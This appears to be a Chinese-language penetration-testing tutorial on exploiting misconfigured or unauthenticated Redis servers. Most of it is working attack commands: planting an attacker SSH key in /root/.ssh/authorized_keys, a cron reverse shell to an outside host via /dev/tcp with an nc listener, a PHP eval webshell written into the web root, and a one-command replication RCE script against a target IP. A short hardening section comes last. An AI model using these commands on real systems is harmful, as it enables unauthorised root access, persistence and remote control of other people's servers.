redis漏洞利用总结

 

前言 #

redis属于非关系型数据库,在开启后默认监听端口为6379。若Redis配置不当可导致攻击者直接获取到服务器的权限。

  • 利用条件:redis以root身份运行,存在未授权访问,弱口令或者口令泄露等

redis安装 #

Redis 官方不建议在 windows 下使用 Redis,所以官网没有 windows 版本可以下载。微软团队维护了开源的 windows 版本:https://github.com/microsoftarchive/redis,但是只有 3.x 版本。某次红队项目中,就碰到了windows版的redis,相较于linux下的redis,漏洞利用比较棘手,但利用思路也类似,如将shell写入到开机启动项,或者写webshell到根目录等。以下都基于linux下的redis漏洞利用

  • 靶机: ubuntu20.04/centos 7,redis-5.0.14
  • 攻击机:windows,进行redis连接
  1. ubuntu安装redis
#下载压缩包
wget https://download.redis.io/releases/redis-5.0.14.tar.gz
#解压
tar -zxvf redis-5.0.14.tar.gz
#编译
cd redis-5.0.12
#安装C语言环境
	#redis是由C语言编写的,它的运行需要C环境,所以编译前需安装 gcc。这个命令将会安装一系列软件包,包括gcc,g++,和make
apt install build-essential
	#如果是centos则 yum -y install gcc automake autoconf libtool make
#编译
make && make install

安装好查看下版本,进入/redis-5.0.12/src

./redis-server --version

  1. 修改配置文件

2.1 取消绑定本机

打开配置文在127.0.0.1前加上注释符,允许别的主机进行连接

vim /redis.conf

# bind 127.0.0.1

2.2 关闭保护模式

将protected-mode yes修改为no,如下,关闭保护模式。如果只是取消了bind,保护模式还是开启的话,依然无法远程连接。

以上两个选项不进行设置可以查看到开放了6379端口,但是无法进行连接,所以这两项一定要设置。

  1. 启动redis服务

进入下载的redis文件中src目录

#带上配置文件进行启动,不然配置文件不会生效
./redis-server /root/Desktop/redis-5.0.14/redis.conf

此时redis开始运行,靶机搭建成功。

redis图形化连接工具 #

windows下推荐这款redis图形化连接工具

下载:https://github.com/qishibo/AnotherRedisDesktopManager/

redis基本命令 #

#查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.63.130:6379>info 

#将变量x的值设为test:
192.168.63.130:6379>set x "test" 

#把整个redis数据库删除,一般情况下不要用!!!
192.168.63.130:6379>flushall 

#查看所有键:
192.168.63.130:6379>KEYS * 

#获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.63.130:6379>CONFIG GET dir 192.168.63.130:6379>CONFIG GET dbfilename

redis漏洞利用 #

在redis存在未授权或弱密码或口令泄露的情况下,只要我们能成功连接上redis,则可以尝试如下漏洞利用方式,间接获取到redis所在服务器的权限

1. 写入ssh公钥 #

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

写入公钥的前提

  • Redis服务使用ROOT账号启动
  • 成功连接redis
  • 服务器开放了SSH服务,而且允许使用密钥登录,并且存在/root/.ssh目录,(安装的openssh只要将公钥放入到/root/.ssh文件夹中,无需设置 默认就允许使用公钥登录),即可远程写入一个公钥,直接登录远程服务器。
  1. 生成公私钥
ssh-keygen -t rsa

打开“id_rsa.pub”文件将其内容全部复制出来

设置Redis的备份路径为/root/.ssh/和保存文件名为authorized_keys,并将数据保存在目标服务器硬盘上

config set dir /root/.ssh/
config set dbfilename authorized_keys
# set x "\n\n\n公钥\n\n\n",将公钥写入x键。前后用\n换行,避免和Redis里其他缓存数据混合
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCiRdspB+toUvUw1pvmizU3XUk9tEF8Dvu/u2Ro9wOYlFWL+JsEI8IWbnQY8YenPZStJMQGu0onJML+fM475Prd6llv3gOZL45P07Xv03MqVcrU0BrFxmtXd9fr91Sl5kPNME9A2LrfmWszkELGDn+RJPSTGXvB8yKTJ2TjwP2Bn6RbVCtOpX3bkaCFja4MvjxeDat0yYFRw9SOUE1UEU3jsX0jvIjhjDlcOhOtsHgB3rCyN+U6sY8T9IzmFaw7BjufHEpTiErx5NDOW/FjQsEuX2eCX6w3RxCdso1oceVhG+5VbsorEi01ddSEGubK4ZvMB0/kwJu0e1dozaJZOIKxLAjmV7zhdVjHb0zJQzbqqzwbMe54dsGerQA1BCnLF/axmt13BNZKXgBIcaxtPx7Ik7ekigjn/T6ldlguZXUup+yI8g8nzJEkI6PFNc+UYl+SY1cqpCmPQv2CGP8FcD++VBmxf0hh8AzO4jdbfZZIqpBqqhtVKeHLXMcV7OXCFM= red@ssrc\n\n\n"
save

连接

ssh -i id_rsa root@ip

可能会出现的错误

  1. 显示没有/root/.ssh这个文件夹

问题原因:

.ssh 是记录密码信息的文件夹,如果目标机器没有登录过root的话,就没有 .ssh 文件夹,因此登录 localhost ,并输入密码就会生成了

#被攻击上执行,就会生成.ssh文件夹。如果只是远程登录root的话则不会生成该文件夹
ssh localhost

2. 写计划任务反弹shell #

原理就是在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。

利用前提:

  • 以root权限运行redis
  • 服务器开启了计划任务功能,一般linux都默认开启了计划任务

测试系统:ubuntu20

  1. vps开启监听
nc -lvnp 8089
  1. redis执行
#将反弹shell写到x键
set x "\n\n*/1 * * * * bash -i >& /dev/tcp/43.xx.xx.77/8089 0>&1\n\n"   
#设置保存路径
config set dir /var/spool/cron/crontabs
#设置保存名称
config set dbfilename root
save

此时会将计划任务保存在 “/var/spool/cron/crontab/root”中。我们输入" crontab -l ",列出存在的计划任务

但是此计划任务并没有成功,查看写入的内容,发现乱码,也就是这些乱码导致计划任务执行错误。

这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败。而这个问题是不能解决的,因为利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据。

如果目标机器为ubuntu,那么通过redis写入的任何计划任务由于乱码的问题 计划任务都不会被执行

测试系统:centos 7

上面ubuntu写入计划任务执行失败,下面使用centos 7测试,使用root权限运行redis,然后写入如下

# \n为换行符,此处一定要加\n,这样反弹shell语句与其他乱码语句就会分隔开不在同一行,这样才能成功反弹shell
set x "\n\n*/1 * * * * bash -i >& /dev/tcp/43.xx.xx.77/8089 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

也会有乱码,但是能够成功反弹shell

3. 写入webshell #

若服务器运行着web服务,且web根路径已知,可通过以下指令写入webshell

经测试,centos7和ubuntu下都能成功写入并连接

config set dir /www/admin/localhost_80/wwwroot
config set dbfilename shell.php
set r "\n\n\n<?php @eval($_POST['cmd']); ?>\n\n\n"
save

成功写入

连接

4. 主从复制获取shell #

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

利用前提

  • redis 4.x/5.x
  • 无需root账号启动redis,普通权限也可以

什么是主从复制 #

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

Redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除,而主从复制则能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。

当slave向master发送PSYNC命令之后,一般会得到三种回复:

  1. +FULLRESYNC:进行全量复制。
  2. +CONTINUE:进行增量同步。
  3. -ERR:当前master还不支持PSYNC。

进行全量复制是,会将master上的RDB文件同步到slave上。而进行增量复制时,slave向master要求数据同步,会发送master的runid和offest,如果runid和slave上的不对应则会进行全量复制,如果相同则进行数据同步,但是不会传输RDB文件。

为了能让恶意so传输到目标服务器上,这里则必须采用全量复制。

一键自动化Rce #

可以通过脚本实现一键自动化getshell:

  1. 下载exp.so:exp.so,进入文件夹执行“make”,然后会生成exp.so文件
  2. 下载漏洞利用exp:redis-rce-master
redis-rce.py -r 192.168.208.129 -P 6379 -L 192.168.43.164 -f exp.so
# -r redis机器ip
# -L 攻击机ip
  1. rce

  1. 反弹shell

5. ssrf+redis写入webshell #

当我们检测出一个网站存在SSRF漏洞的时候,我们就可以探测当前或者内网主机开放的端口,而这些端口往往我们从外网是不能直接探测到的,所以可以尝试利用ssrf探测内网开放的端口,当探测处内网存在redis的时候,则可以尝试进行攻击

漏洞利用前提:

  • 知道网站根目录
  • 根目录具有写文件的权限

具体参考:ssrf攻击redis写入websell

漏洞利用总结 #

漏洞利用方式

利用前提

备注

写公钥

  • root权限运行redis
  • 开放了ssh,允许公钥连接

反弹shell

  • root权限运行redis
  • 开启了计划任务

写入web shell

  • root权限运行redis
  • 知道网站根路径

主从复制

redis 4.x/5.x

无需root权限启动redis,获取的权限为启动用户的权限

漏洞防护 #

  • 设置本机访问或者指定主机访问redis,修改redis.conf中bind配置
  • 防火墙设置仅允许指定的IP来访问Redis服务
  • 最小权限运行redis,修改Redis服务运行账号 (需要重启redis才能生效),以较低权限账号运行Redis服务